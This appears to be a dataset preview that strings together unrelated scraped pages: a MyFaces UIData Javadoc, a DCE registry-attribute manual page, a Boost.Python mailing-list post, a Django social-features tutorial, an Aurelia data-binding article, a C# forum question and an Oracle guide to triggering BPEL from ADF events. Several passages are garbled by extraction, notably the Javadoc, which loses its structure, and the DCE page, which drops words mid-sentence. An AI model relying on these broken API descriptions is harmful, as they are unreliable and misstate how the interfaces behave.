text
stringlengths 20
1.01M
| url
stringlengths 14
1.25k
| dump
stringlengths 9
15
⌀ | lang
stringclasses 4
values | source
stringclasses 4
values |
|---|---|---|---|---|
java.lang.Object
javax.faces.component.UIComponentjavax.faces.component.UIComponent
javax.faces.component.UIComponentBasejavax.faces.component.UIComponentBase
javax.faces.component.UIDatajavax.faces.component.UIData
@JSFComponent(defaultRendererType="javax.faces.Table") public class UIData
Represents an abstraction of a component which has multiple "rows" of data.
The children of this component are expected to be UIColumn components.
Note that the same set of child components are reused to implement each row of the table in turn during such phases as apply-request-values and render-response. Altering any of the members of these components therefore affects the attribute for every row, except for the following members:
This reuse of the child components also means that it is not possible to save a reference to a component during table processing, then access it later and expect it to still represent the same row of the table.
Each of the UIColumn children of this component has a few component children of its own to render the contents of the table cell. However there can be a very large number of rows in a table, so it isn't efficient for the UIColumn and all its child objects to be duplicated for each row in the table. Instead the "flyweight" pattern is used where a serialized state is held for each row. When setRowIndex is invoked, the UIColumn objects and their children serialize their current state then reinitialise themselves from the appropriate saved state. This allows a single set of real objects to represent multiple objects which have the same types but potentially different internal state. When a row is selected for the first time, its state is set to a clean "initial" state. Transient components (including any read-only component) do not save their state; they are just reinitialised as required. The state saved/restored when changing rows is not the complete component state, just the fields that are expected to vary between rows: "submittedValue", "value", "isValid".
Note that a table is a "naming container", so that components within the table have their ids prefixed with the id of the table. Actually, when setRowIndex has been called on a table with id of "zzz" the table pretends to its children that its ID is "zzz_n" where n is the row index. This means that renderers for child components which call component.getClientId automatically get ids of form "zzz_n:childId" thus ensuring that components in different rows of the table get different ids.
When decoding a submitted page, this class iterates over all its possible rowIndex values, restoring the appropriate serialized row state then calling processDecodes on the child components. Because the child components (or their renderers) use getClientId to get the request key to look for parameter data, and because this object pretends to have a different id per row ("zzz_n") a single child component can decode data from each table row in turn without being aware that it is within a table. The table's data model is updated before each call to child.processDecodes, so the child decode method can assume that the data model's rowData points to the model object associated with the row currently being decoded. Exactly the same process applies for the later validation and updateModel phases.
When the data model for the table is bound to a backing bean property, and no validation errors have occured during processing of a postback, the data model is refetched at the start of the rendering phase (ie after the update model phase) so that the contents of the data model can be changed as a result of the latest form submission. Because the saved row state must correspond to the elements within the data model, the row state must be discarded whenever a new data model is fetched; not doing this would cause all sorts of inconsistency issues. This does imply that changing the state of any of the members "submittedValue", "value" or "valid" of a component within the table during the invokeApplication phase has no effect on the rendering of the table. When a validation error has occurred, a new DataModel is not fetched, and the saved state of the child components is not discarded.see Javadoc of the JSF Specification for more information.
public static final String COMPONENT_FAMILY
public static final String COMPONENT_TYPE
public UIData()
public boolean invokeOnComponent(FacesContext context, String clientId, ContextCallback callback) throws FacesException
UIComponentBase
invokeOnComponentmust be implemented in
UIComponentBasetoo...
invokeOnComponentin class
UIComponentBase
context-
FacesContextfor the current request
clientId- the id of the desired
UIComponentclazz
callback- Implementation of the
ContextCallbackto be called
FacesException
public void setFooter(UIComponent footer)
@JSFFacet public UIComponent getFooter()
public void setHeader(UIComponent header)
@JSFFacet public UIComponent getHeader()
public boolean isRowAvailable()
public int getRowCount()
public Object getRowData()
public int getRowIndex()
public void setRowIndex(int rowIndex)
Param rowIndex can be -1, meaning "no row".
rowIndex-
public void setValueExpression(String name, javax.el.ValueExpression binding)
setValueExpressionin class
UIComponent
public String getClientId(FacesContext context)
UIComponentBaseBase
public void queueEvent(FacesEvent event)
Child components or their renderers may register events against those child components. When the listener for that event is eventually invoked, it may expect the uidata's rowData and rowIndex to be referring to the same object that caused the event to fire.
The original queueEvent call against the child component has been forwarded up the chain of ancestors in the standard way, making it possible here to wrap the event in a new event whose source is this component, not the original one. When the event finally is executed, this component's broadcast method is invoked, which ensures that the UIData is set to be at the correct row before executing the original event.
queueEventin class
UIComponentBase
public void broadcast(FacesEvent event) throws AbortProcessingException
See queueEvent for more details.
broadcastin class
UIComponentBase
event- must not be null.
AbortProcessingException
public void encodeBegin(FacesContext context) throws IOException
encodeBeginin class
UIComponentBase
IOException
public void encodeEnd(FacesContext context) throws IOException
encodeEndin class
UIComponentBase
IOException
UIComponentBase.encodeEnd(javax.faces.context.FacesContext)
protected DataModel getDataModel()
This is complicated by the fact that this table may be nested within another table. In this case a different datamodel should be fetched for each row. When nested within a parent table, the parent reference won't change but parent.getClientId() will, as the suffix changes depending upon the current row index. A map object on this component is therefore used to cache the datamodel for each row of the table. In the normal case where this table is not nested inside a component that changes its id (like a table does) then this map only ever has one entry.
protected void setDataModel(DataModel dataModel)
@JSFProperty public Object getValue()
The value referenced by the EL expression can be of any type.
Note in particular that unordered collections, eg Set are not supported. Therefore if the value expression references such an object then the table will be considered to contain just one element - the collection itself.
public void setValue(Object value)
@JSFProperty public int getFirst()
public void setFirst(int first)
@JSFProperty public int getRows()
Specify zero to display all rows from the "first" row to the end of available data.
public void setRows(int rows)
@JSFProperty(literalOnly=true) public String getVar()
During rendering of child components of this UIData, the variable with this name can be read to learn what the "rowData" object for the row currently being rendered is.
This value must be a static value, ie an EL expression is not permitted.
public void setVar(String var)
public Object saveState(FacesContext facesContext)
UIComponentBase
saveStatein interface
StateHolder
saveStatein class
UIComponentBase
public void restoreState(FacesContext facesContext, Object state)
UIComponentBase
restoreStatein interface
StateHolder
restoreStatein class
UIComponentBase
state- is an object previously returned by the saveState method of this class.
public String getFamily()
getFamilyin class
UIComponent
|
http://myfaces.apache.org/core12/myfaces-api/apidocs/javax/faces/component/UIData.html
|
CC-MAIN-2017-17
|
en
|
refinedweb
|
sec_rgy_attr_test_and_update-Updates specified attribute instances for a specified object only if a set of control attribute instances match the object's existing attribute instances
#include <dce/sec_rgy_attr.h> void sec_rgy_attr_test_and_update ( sec_rgy_handle_t context, sec_rgy_domain_t name_domain, sec_rgy_name_t name, unsigned32 num_to_test, sec_attr_t test_attrs[], unsigned32 num_to_write, sec_attr_t update_test
An unsigned 32-bit integer that specifies the number of elements in the test_attrs array. This integer must be greater than 0.
- test_attrs[]
An array of values of type sec_attr_t that specifies the control attributes. The update takes place only if the types and values of the control attributes exactly match those of the attribute instances on the named registry object. The size of the array is determined by num_to_test.
- num_to_write
A 32-bit integer that specifies the number of attribute instances returned in the update_attrs array.
- update_attrs
An array of values of type sec_attr_t that specifies the attribute instances to be updated. The size of the array is determined by num_to_write.
Output
- failure_index
In the event of an error, failure_index is a pointer to the element in the update_test_and_update() routine updates an attribute only if the set of control attributes specified in the test_attrs match attributes that already exist for the object.
This update is an atomic operation: if any of the control attributes do not match existing attributes, none of the updates are performed, and if an update should be performed, but the write cannot occur for whatever reason to any member of the update_attrs array, all updates are aborted. The attribute causing the update to fail is identified in failure_index. If the failure cannot be attributed to a given attribute, failure_index contains -1..
If you specify an attribute set for updating, the update applies to the set instance, the set itself, not the members of the set. To update a member of an attribute set, supply the UUID of the set member._test_and_update() routine requires the test permission and the update permission set for each attribute type identified in the test_update(), sec_rgy_attr_delete().
|
http://pubs.opengroup.org/onlinepubs/9696989899/sec_rgy_attr_test_and_update.htm
|
CC-MAIN-2017-17
|
en
|
refinedweb
|
just a follow up on this: I was able to recreate the scope object for my module by import "itself" from the project's init framework, which is executed after the Python initMODULE function is called, and since at that point the module has had its Py_InitModule() called, I assume that doing a PyImport_ImportModuleEx() after that won't have any other consequences. Here is the relevant code:: InInit<DlInit::pyextModuleA>::performInitialize() { ... initialize buff here { using namespace python; // Obtain the handle on the already imported module to create a // scope. PyObject* m = ::PyImport_ImportModuleEx( "libDLpyextModuleA", 0, 0, 0 ); assert( m != 0 ); scope module_scope( object( borrowed<PyObject>( m ) ) ); // Boost.Python declarations using initialized objects here. module_scope.attr( "buff" ) = buff; } } This "seems to work" (i.e. it compiles and doesn't crash and I can obtain the correct initialized value for the initialized buff). I think with this in mind, I could probably leave the initMODULE functions empty and always put my Boost.Python declarations in the project's performInitialize() methods. Do you see any potential problems with this? I'm sure some other projects must have had to do a similar trick. I guess my question boils down to: "can one safely declare new things for Python once the module has already been initialized?" (i.e. by "declare new things" I mean insert Boost.Python declarations, for example, could I declare a new class within a function call? (i.e not the initMODULE function))
|
https://mail.python.org/pipermail/cplusplus-sig/2003-September/005310.html
|
CC-MAIN-2017-17
|
en
|
refinedweb
|
It has been more than a week since the first part of this tutorial series was posted and I’ve been getting positive feedback from several channels. Ironically, it was extremely popular on Hacker News. It was even translated into Chinese..
This tutorial would show you how to implement social features like supporting user registration and profile pages. We will leverage Django’s class based views for building CRUD functionality. There is a lot of ground to be covered this time.
As before, there is a text description of the steps if you do not prefer to watch the entire video. There is also a goodies pack with templates and other assets included, which would be required if you are following this tutorial. 1, we showed you how to create a private beta-like site to publish rumors about “Man of Steel”.
The outline of Part 2 of the screencast is:
- Better branding and templates
- Custom login/logout
- Sociopath to actually social - django-registrations
- Simple registration
- User Profiles
Open the goodies pack
So far, the appearance of the website looks a bit bland. Let’s use some assets which are pre-designed for the tutorial.
Download sr-goodies-master.zip to any convenient location. On Linux, you can use the following commands to extract it to the
/tmpdirectory.
cd /tmp wget unzip master.zip
Explore the extracted files in
/tmp/sr-goodies-master
Copy the entire
staticdirectory from the extracted files to
steelrumors/steelrumors. Also, overwrite the extracted
sr-goodies-master/templates/base.htmltemplate into
steelrumors/steelrumors/templates/
cp -R /tmp/sr-goodies-master/static ~/proj/steelrumors/steelrumors/ cp /tmp/sr-goodies-master/templates/base.html ~/proj/steelrumors/steelrumors/templates/
Custom Login page
Add to
steelrumors/urls.py:
url(r'^login/$', 'django.contrib.auth.views.login', { 'template_name': 'login.html'}, name="login"), url(r'^logout/$', 'django.contrib.auth.views.logout_then_login', name="logout"),
Add the login/logout URL locations to
steelrumors/settings.py:
from django.core.urlresolvers import reverse_lazy LOGIN_URL=reverse_lazy('login') LOGIN_REDIRECT_URL = reverse_lazy('home') LOGOUT_URL=reverse_lazy('logout')
Now copy
login.htmlfrom the goodies pack to the
templatesdirectory:
cp /tmp/sr-goodies-master/templates/login.html ~/proj/steelrumors/steelrumors/templates/
Refresh your browser to view the newly styled pages.
Using django-registrations
We will be using the “simple” backend of django-registrations since it is easy to use and understand.
Currently, the version of django registration on the the Python Package Index doesn’t work well with Django 1.5. So we will use my forked version using pip:
pip install git+git://github.com/arocks/django-registration-1.5.git
Or if you don’t have git installed, use:
pip install
Edit
settings.pyto add registration app to the end of INSTALLED_APPS
'registration', )
Run syncdb to create the registration models:
./manage.py syncdb
We need to use the registration form template from goodies pack. Since, this is for the registration app we need to create a
registrationdirectory under
templates:
mkdir ~/proj/steelrumors/steelrumors/templates/registration/ cp /tmp/sr-goodies-master/templates/registration/registration_form.html ~/proj/steelrumors/steelrumors/templates/registration/
Add to
urls.py:
url(r'^accounts/', include('registration.backends.simple.urls')),
Visit and create a new user. This will throw a “Page not found” error after a user is created.
Create a user’s profile page
Add
UserProfileclass and its signals to
models.py:
class UserProfile(models.Model): user = models.OneToOneField(User, unique=True) bio = models.TextField(null=True) def __unicode__(self): return "%s's profile" % self.user def create_profile(sender, instance, created, **kwargs): if created: profile, created = UserProfile.objects.get_or_create(user=instance) # Signal while saving user from django.db.models.signals import post_save post_save.connect(create_profile, sender=User)
Run syncdb again to create the user profile model:
./manage.py syncdb
Add these to
admin.pyof links app to replace/extend the default admin for User:
from django.contrib.auth.admin import UserAdmin from django.contrib.auth import get_user_model ... class UserProfileInline(admin.StackedInline): model = UserProfile can_delete = False class UserProfileAdmin(UserAdmin): inlines=(UserProfileInline, ) admin.site.unregister(get_user_model()) admin.site.register(get_user_model(), UserProfileAdmin)
Visit and open any user’s details. The bio field should appear in the bottom.
Add to
views.pyof links apps:
from django.views.generic import ListView, DetailView from django.contrib.auth import get_user_model from .models import UserProfile .... class UserProfileDetailView(DetailView): model = get_user_model() slug_field = "username" template_name = "user_detail.html" def get_object(self, queryset=None): user = super(UserProfileDetailView, self).get_object(queryset) UserProfile.objects.get_or_create(user=user) return user
Copy
user_detail.htmlfrom goodies to
steelrumors/templates/:
cp /tmp/sr-goodies-master/templates/user_detail.html \ ~/proj/steelrumors/steelrumors/templates/
Let’s add the urls which failed last time when we tried to create a user. Add to
urls.py:
from links.views import UserProfileDetailView ... url(r'^users/(?P<slug>\w+)/$', UserProfileDetailView.as_view(), name="profile"),
Now try to create a user and it should work. You should also see the profile page for the newly created user, as well as other users.
You probably don’t want to enter these links by hand each time. So let’s edit
base.htmlby adding the lines with a plus sign ‘+’ (omitting the plus sign) below:
{% if user.is_authenticated %} <a href="{% url 'logout' %}">Logout</a> | + <a href="{% url 'profile' slug=user.username %}"><b>{{ user.username }}</b></a> {% else %} + <a href="{% url 'registration_register' %}">Register</a> |
Refresh the browser to see the changes.
Edit your profile details
Add
UserProfileEditViewclass to
views.pyin links app:
from django.views.generic.edit import UpdateView from .models import UserProfile from .forms import UserProfileForm from django.core.urlresolvers import reverse class UserProfileEditView(UpdateView): model = UserProfile form_class = UserProfileForm template_name = "edit_profile.html" def get_object(self, queryset=None): return UserProfile.objects.get_or_create(user=self.request.user)[0] def get_success_url(self): return reverse("profile", kwargs={'slug': self.request.user})
Create
links/forms.py:
from django import forms from .models import UserProfile class UserProfileForm(forms.ModelForm): class Meta: model = UserProfile exclude = ("user")
Add the profile edit view to
urls.py. Protect it with an
authdecorator to prevent unlogged users from seeing this view.
from django.contrib.auth.decorators import login_required as auth from links.views import UserProfileEditView ... url(r'^edit_profile/$', auth(UserProfileEditView.as_view()), name="edit_profile"),
Copy
edit_profile.htmlfrom goodies to
steelrumors/templates/:
cp /tmp/sr-goodies-master/templates/edit_profile.html \ ~/proj/steelrumors/steelrumors
Add the following lines to
templates/user_detailbefore the final
endblock:
{% if object.username == user.username %} <p><a href='{% url "edit_profile" %}'>Edit my profile</a></p> {% endif %}
Now, visit your profile page and try to edit it.
Easter Egg Fun
Add the following lines to
user_detail.html before the
endblock line:
{% if "zodcat" in object.userprofile.bio %} <style> html { background: #EEE url("/static/img/zod.jpg"); } </style> {% endif %}
Now mention “zodcat” to your bio. You have your easter egg!
Final Comments
We have a much better looking site at the end of this tutorial. While anyone could register to the site, they will not be part of the staff. Hence, you cannot submit links through the admin interface. This will be addressed in the next part.
That concludes Part 2. Follow me on Twitter at @arocks to get updates about upcoming parts.
Resources
- Full Source on Github
- Goodies pack on Github
|
http://arunrocks.com/building-a-hacker-news-clone-in-django-part-2/
|
CC-MAIN-2017-17
|
en
|
refinedweb
|
Aurelia's Adaptive Binding
This week, Core Team Member, Jeremy Danyow, shares with us how Aurelia's adaptive and extensible binding system works its magic.
Observation Strategies
Aurelia employs several strategies when observing object properties. The best strategy is chosen depending on the features of the browser and the type of object/property being observed. Here's a run-down of the techniques used, in order of priority.
Note: the following doesn't cover Aurelia's strategies for observing Arrays. That's a subject for another post :)
1. Is the object being observed a DOM element?
In this case an observer is chosen based on the element's type and the name of the element attribute being bound:
<select>element's
valueattribute? Use the
SelectValueObserverwhich simplifies common scenarios like two-way binding strings or objects or binding arrays in multi-select scenarios.
<input>element's
checkedattribute? Use the
CheckedObserverwhich enables two-way binding a group of radios to a single "selected item" property as well as checkboxes to a "selected items" array. Here are a few examples of what's possible with checked binding.
<input>or
<textarea>element's
valueattribute? Use the
ValueAttributeObserverwhich enables two way binding of input values.
xlink:,
data-*,
aria-*attribute? Each of these require specific logic around attribute value assignment and retrieval. Aurelia includes specialized observers for these cases.
styleattribute or it's alias, the
cssattribute? Use the
StyleObserverwhich enables binding strings or objects to an element's
style.cssText.
All other scenarios fall through to #2 below...
2. Does the property being observed have a getter function (ie was the property defined using Object.defineProperty)?
Object.observe cannot be used in this scenario, at least not until Object.getNotifier is well supported across browsers. In this case Aurelia will first check whether dependencies have been declared for the property. If no dependencies are declared Aurelia will check whether a property observation adapter knows how to observe the property. Otherwise Aurelia falls back to dirty checking.
3. OK, we have a standard object property...
Use the preferred observation strategy, Object.observe if the browser supports it, otherwise re-write the property using Object.defineProperty so Aurelia can intercept the property assignments.
All this strategy-picking logic is encapsulated in aurelia/binding's
ObserverLocator class.
Declaring Property Dependencies
Any time you create a computed property on your view model you're introducing a situation where Aurelia needs to use dirty-checking to observe the property. Most of the time this isn't a big deal but in situations where dirty-checking is used a lot your app will use more memory and potentially perform poorly.
The Aurelia "starter kit" app: skeleton-navigation, includes a scenario where dirty-checking is required: the
fullName property.
export class Welcome{ constructor(){ this.heading = 'Welcome to the Aurelia Navigation App!'; this.firstName = 'John'; this.lastName = 'Doe'; } // **this property will require dirty-checking** get fullName(){ return `${this.firstName} ${this.lastName}`; } welcome(){ alert(`Welcome, ${this.fullName}!`); } }
To avoid dirty-checking we can tell Aurelia the
fullName property's dependencies are
firstName and
lastName. This will save Aurelia from having to constantly poll the
fullName property for changes because it can observe
firstName and
lastName directly.
Here's how you declare property dependencies today:
// add this line: import {declarePropertyDependencies} from 'aurelia-framework'; // nothing changes in the class itself. export class Welcome{ ... } // and add this line: declarePropertyDependencies(Welcome, 'fullName', ['firstName', 'lastName']);
Decorators are now supported in babel and Typescript 1.5 alpha. With this important feature in place, declaring property dependencies in Aurelia will be even easier after our release next week:
@computedFrom('firstName', 'lastName') get fullName(){ return `${this.firstName} ${this.lastName}`; }
Property Observation Adapters
The Aurelia binding system is pluggable. This means you can supply an adapter to Aurelia that can observe certain types of properties when Aurelia isn't able to use a preferred binding strategy.
A couple binding adapters are already in development. One is for observing Breeze entities. Breeze is a data management framework that employs property getters and setters to enable entity-state tracking when properties are changed. You can find the aurelia-breeze plugin here.
A second property observation adapter for KnockoutJS observables is in development.
Using the ObserverLocator
Situations often crop up where you need to observe a property's changes, outside of the standard data-binding scenarios Aurelia makes easy. It would be nice if we could simply use Object.observe in these scenarios. Unfortunately caniuse says this is not an option in today's browser environment.
The good news is you can use Aurelia's ObserverLocator which provides a cross-browser approach for observing properties. All you need to do is grab the observer locator from the container and start subscribing.
import {ObserverLocator} from 'aurelia-binding'; // or 'aurelia-framework' class Foo { static inject function() { return [ObserverLocator]; } constructor(observerLocator) { // the property we'll observe: this.bar = 'baz'; // subscribe to the "bar" property's changes: var subscription = this.observerLocator .getObserver(this, 'bar') .subscribe(this.onChange); } onChange(newValue, oldValue) { alert(`bar changed from ${oldValue} to ${newValue}`); } }
As with any event subscription you need to unsubscribe/dispose-it when you no longer need it, to prevent memory leaks, etc. This is why the
subscribe method returns a function you can invoke to dispose of the subscription.
Note: future versions of Aurelia will include a more streamlined way to subscribe to property changes.
Doing more with the ObserverLocator
A scenario came up in the Aurelia gitter chat the other day where someone needed to update a property in their view-model when properties in another object changed. To simplify the logic around this we put together a generic "MultiObserver" class that can observe any number of object properties and invoke a callback when something changes:
import {ObserverLocator} from 'aurelia-framework'; // or 'aurelia-binding' export class MultiObserver { static inject() { return [ObserverLocator]; } constructor(observerLocator) { this.observerLocator = observerLocator; } observe(properties, callback) { var subscriptions = [], i = properties.length, object, propertyName; while(i--) { object = properties[i][0]; propertyName = properties[i][1]; subscriptions.push(this.observerLocator.getObserver(object, propertyName).subscribe(callback)); } // return dispose function return () => { while(subscriptions.length) { subscriptions.pop()(); } } } }
Using the MultiObserver we can create an OilSpeculator class that reacts to the different factors involved in speculating oil prices:
import {MultiObserver} from 'multi-observer'; import {OilReserves} from 'oil-reserves'; import {Mood} from 'temperment'; import {FudgeFactor} from 'guessing'; export class OilSpeculator { static inject() { return [OilReserves, Mood, FudgeFactor, MultiObserver]; } constructor(oilReserves, mood, fudgeFactor, multiObserver) { this.oilReserves = oilReserves; this.mood = mood; this.fudgeFactor = fudgeFactor; this.speculateOilPrice(); // speculate the oil price when something changes... multiObserver.observe( [[oilReserves, 'barrels'], [mood, 'crankiness'], [fudgeFactor, 'value']], () => this.speculateOilPrice()); } speculateOilPrice() { this.oilPrice = this.mood.crankiness * this.oilReserves.barrels / this.fudgeFactor.value; } }
|
http://blog.aurelia.io/2015/04/03/aurelia-adaptive-binding/
|
CC-MAIN-2017-17
|
en
|
refinedweb
|
0
Hey all. At the moment i'm struggling to read a file which contains 4 integers on each line separated by commas. I want to read each line then put them in a list like
Text File will look like
1, 3, 7, 9
2, 5, 6, 8
I want it to be put in a list. Basically so that in the list it contains 1 3 7 and 9, the next part of the list contains 2 5 6 and 8 etc.
The code i have for it is
public class NewList { public int ID { get; set; } public int N1 { get; set; } public int N2 { get; set; } public int N3 { get; set; } public NewList(int pID, int pN1, int pN2, int pN3) { this.ID = pID; this.N1 = pN1; this.N2 = pN2; this.N3 = pN3; } Console.WriteLine(""); FileStream aFile = new FileStream("SomeData.txt", FileMode.Open); List<NewList> Numbers = new List<>(NewList); //In the Main() using(StreamReader sr = new StreamReader(aFile)) { while((strLine = sr.ReadLine()) != null) { Numbers.Add(strLine); } }
I know i need to involve Split somewhere as well
Edited by Drakarus: n/a
|
https://www.daniweb.com/programming/software-development/threads/332117/reading-textfile-into-list
|
CC-MAIN-2017-17
|
en
|
refinedweb
|
This chapter describes what a user action or other activity in an Oracle ADF web application needs to do.
When to implement: A user action or other activity in an Oracle ADF web application needs.
Design Pattern Summary: A business component in the ADF Business Components Framework publishes a business event to execute a SOA composite application. The SOA composite application subscribes to the event using the Oracle Mediator component, and from there it can be routed to any other service component, such as BPEL.
Involved components:
Oracle ADF web application that includes ADF Business Components.
SOA composite application that includes an Oracle Mediator service component and an additional service component to which the event can be routed (such as a BPEL process service component).
Oracle Fusion applications initiate business processes in response to user actions. Oracle ADF provides a change notification framework that is triggered at the end of a transaction involving ADF Business Components. This notification can be declaratively configured to raise business events that conform to an Event Description Language (EDL) definition. When an event is raised, it is published on the Event Delivery Network (EDN). For more information about the EDN, see the chapter "Using Business Events and the Event Delivery Network" in the Oracle Fusion Middleware Developer's Guide for Oracle SOA Suite.
Process flows are implemented using a BPEL process service component as a bridge from EDN to the BPEL process. Because the events raised by the ADF Business Components are not a native BPEL construct, you use a mediator service component to subscribe to the event and to then invoke the BPEL process service component. The mediator service component acts as a binding between the EDN and the BPEL process service component. Whenever the event is raised by ADF Business Components (whether through a GUI action or programatically), the BPEL process service component is invoked. Figure 33-1 illustrates how these work together.
This approach is recommended for the following reasons:
Validation logic can be consolidated in the entity object.
Multiple user interfaces can invoke the reusable entity object that produces the events.
Event subscription can be modeled on the mediator service component and not hard wired into the UI.
The producer of the event (in this case, ADF Business Components) does not need to know who the downstream consumers of the event are. If needed, the SOA back-end service can change, without needing to change anything in the Oracle ADF web application. Decoupling the Oracle ADF and SOA application lifecycles makes development more manageable.
Events raised by ADF Business Components are asynchronous with no return value. The event infrastructure leverages the WLS JMS provider, so any unconsumed events can be de-queued by the SOA platform at some later time if the platform isn't running, assuming the JMS implementation leverages Oracle Advanced Queuing. For information about integrating Oracle Advanced Queuing with Oracle BPEL Process Manager or Oracle Mediator, see the chapter "Oracle JCA Adapter for AQ" in the Oracle Fusion Middleware User's Guide for Technology Adapters.
Instead of using ADF Business Components, and the change notification publisher in entity objects to invoke a BPEL service component, you could use one of the following approaches. These development approaches should be used only when the recommended approach cannot be implemented.
Using the Java Event API to Publish Events
Using a JAX-WS Proxy to Invoke a Synchronous BPEL Process
WARNING:
The following approaches should not be used:
A web services data control created using a SOAP web service on the composite to create the view in the web application.
A custom Java class in the web application using SOAP.
A direct API call, or some other means to access the SOA composite.
A web application built using ADF Business Components and Oracle ADF Faces allows users to register bugs found in software. An ADF Business Components entity object is used to create a bug, and contains an event whose payload is the attribute values for the created bug. The event is configured to be raised whenever the Create operation is called on the entity object.
A mediator service component subscribes to the event and accepts the event payload. A routing rule is configured for the mediator service component that routes the payload for the event to a BPEL process service component. This component then sends an email that contains the information from the payload to the bug's creator.
There are some cases in which one might need to propagate the end user ID of the event raiser across the invoked services for auditing purposes. It is recommended to propagate this information in the event payload. When raising events for CUD operations (create, update, delete), include the
last_updated_by history column in the event definition. As this column exists in every Oracle Fusion Applications table, the user raising the event will always be propagated.
The sample code for this use case can be downloaded from Oracle SOA Suite samples.
To initiate a BPEL process service component from a web application, you first need to create the web application using ADF Business Components and Oracle ADF Faces. You then create a SOA composite application that contains a mediator service component to pass the event payload created by ADF Business Components, and execute a BPEL process service component.
To invoke a BPEL process service component from an Oracle ADF web application:
In the Oracle ADF web application, define an event on an entity object.
For more information on creating events on entity objects, see the chapter "Creating a Business Domain Layer Using Entity Objects" in the Oracle Fusion Middleware Fusion Developer's Guide for Oracle Application Development Framework (Oracle Fusion Applications Edition). For more information about using business events, see the chapter "Using Business Events and the Event Delivery Network" in the Oracle Fusion Middleware Developer's Guide for Oracle SOA Suite.
When you create the event, ensure the following:
Include attributes as needed for the payload.
Set the event point to be the database operation (create, update, delete) that will raise the event. You can also create any conditions needed to determine when the event should be raised.
Note:
Event points can only be associated with Data Manipulation Language (DML) operations.
Personally identifiable information (PII) is any piece of information that can be used to uniquely identify a person. PII is sensitive and must be protected from potential misuse.
When data is included in events or a BPEL flow, it is potentially exposed. While the transport may be encrypted on the SOA side, the data is not. The data in events, payload and BPEL variables is not secured by the security restrictions for business objects. Consider what data is to be exposed in the payload so as to prevent unauthorized access.
Defining an event generates an Event Definition Language (
.edl) file and XML schema definition (
.xsd). The EDL file contains all event definitions for the entity and the XSD file defines the contents of an event's payload, in addition to other objects needed by the BPEL process service component. These files together define the contract between the Oracle ADF application and the SOA composite application, as for a particular event, they identify the elements the SOA composite expects. Both these files are placed in the
events directory for the project, and can be found in the Application Navigator as children to the associated entity object.
In the example bug application, the
BugReport entity object contains the
BugCreated event. This event carries all the attributes on the entity object as its payload, and is published using the
create operation as its event point.
Create the page in the view that will invoke the operation defined as the event point for the event (for example, through a command button bound to the
commit operation or through the implicit call to the
commit operation as a task flow return activity).
In the example bug application, this is a UI command component bound to the
Commit operation on the
BugReport entity object. Because this operation commits the data to the database, and the
Commit operation's corresponding DML operation (
create) is used to sync the ADF Business Components cache with the database, the ADF Business Components framework raises the event.
For more information about creating the view, see "Part IV: Creating a Databound Web User Interface" in Oracle Fusion Middleware Fusion Developer's Guide for Oracle Application Development Framework (Oracle Fusion Applications Edition).
For verification purposes, you can either run the Oracle ADF web application from the Integrated Oracle WebLogic Server container included with Oracle JDeveloper, or you can deploy the Oracle ADF web application to a standalone container. This step includes procedures for running the Oracle ADF web application within the embedded container and the SOA composite on a standalone Oracle WebLogic Server container. See Step 4 for procedures on deploying to a standalone container.
Make sure that EDN data sources have been configured. Using Oracle WebLogic Server Administration Console, verify that
EDNDataSource and
EDNLocalTxDataSource have been configured.
Note:
Oracle ADF and SOA data sources for EDN must point to the same schema. The EDN schema cannot be shared by more than one SOA runtime environment (such as outside a cluster).
Navigate to Domain Configurations > Services > JDBC > Data Sources to verify the existence of EDN data sources.
If the EDN data sources have not been configured, create new EDN data sources. Select
EDNDataSource and click New. Enter the following details:
Name: EDNDataSource
JNDI Name: jdbc/EDNDataSource
Database Type: Oracle and Database Driver > Oracle Thin Driver XA: Versions 9.0.1.9.2.0.10.11.
Driver Class Name:
oracle.jdbc.xa.client.OracleXADataSource.
Click Next. In the next window, uncheck Supports Global Transactions.
Click Next and configure the following:
Database Name:
DB_NAME_FUSION_EDN
Host Name/Port: Enter the host name and port for server running the
FUSION_EDN database
Database User Name/Password: Enter a username and password.
Test the data source. Set as DefaultServer and click Finish.
Define EDNLocalTxDataSource as above, but use
EDNLocalTxDataSource for the data source and
jdbc/EDNLocalTxDataSource for the JNDI name.
Map the data source in the
web.xml and
weblogic.xml files associated with the event publishing application. Add the lines shown in Example 33-1to the
WEB-INF/web.xml file.
Create an XML file called
weblogic.xml with the following contents, and save it in the WEB-INF directory. This maps the global JMS resources to local JNDI names. The names in this file are the defaults expected by the remote connection factory, so you do not need to specify them. An example is shown in Example 33-2.
Example 33-2 Mapping Global JMS Resources to Local JNDI Names
<?xml version="1.0"?> <resource-description> <res-ref-name>jdbc/EDNLocalTxDataSource</res-ref-name> <jndi-name>jdbc/EDNLocalTxDataSource</jndi-name> </resource-description> <resource-description> <res-ref-name>jdbc/EDNDataSource</res-ref-name> <jndi-name>jdbc/EDNDataSource</jndi-name> </resource-description>
Add event-related SOA runtime libraries, specifically ADF Business Components uses Event Publishing APIs bundled in fabric-runtime.jar. Add a library reference to
oracle.soa.workflow.wc in order to include the event publishing APIs bundled in the relevant JAR files.
Add the code shown in Example 33-3 to the
weblogic-application.xml file.
In Oracle JDeveloper, create a SOA composite application project and add a mediator service component.
For detailed procedures on creating SOA composite application projects, see the chapters "Developing SOA Composite Applications with Oracle SOA Suite" and "Getting Started with Oracle Mediator" in the Oracle Fusion Middleware Developer's Guide for Oracle SOA Suite.
When you create the project, ensure the following:
You choose to create a mediator service component on completion.
Before configuring the mediator service component, manually copy the EDL and XSD files created in Step 1 to the SOA composite application project's source path.
Open the MPLAN file for the mediator service component and create a new subscription that points to the EDL file moved into the source path. This means the mediator service component will now be subscribed to that event.
In the following example application, a mediator service component named
BugCreatedRouter is subscribed to the
BugCreated event, as shown in Figure 33-2.
Create the BPEL process service component.
For detailed procedures, see the chapter "Getting Started with Oracle BPEL Process Manager" in the Oracle Fusion Middleware Developer's Guide for Oracle SOA Suite.
When you create the component, ensure the following:
Use the Create BPEL Process dialog to configure the payload. Use the Input Element finder icon to select the payload from the schema created for the event.
In the example application, the input element would be the
BugCreatedInfo payload under the
BugReport.xsd node, as shown in Figure 33-3.
You create an activity that accepts the payload from the input element as its input parameters. In the sample application, an email activity is created that takes various input parameters from the payload as assigns them to the email's parameters.
In the mediator service component, add a routing rule and configure it so that it invokes the BPEL process service and contains a subscription to the ADF Business Components event. Ensure the following:
You select the
initiate operation on the client of the BPEL process service component as the target service, as shown in Figure 33-4.
Optionally, use the Transformation map to map the mediator service component's schema to the input schema of the BPEL process service component. However, this should not be necessary, as you should be using the same schema for both.
Deploy the SOA composite application to the SOA infrastructure. For details, see the chapter "Deploying SOA Composite Applications" in the Oracle Fusion Middleware Developer's Guide for Oracle SOA Suite.
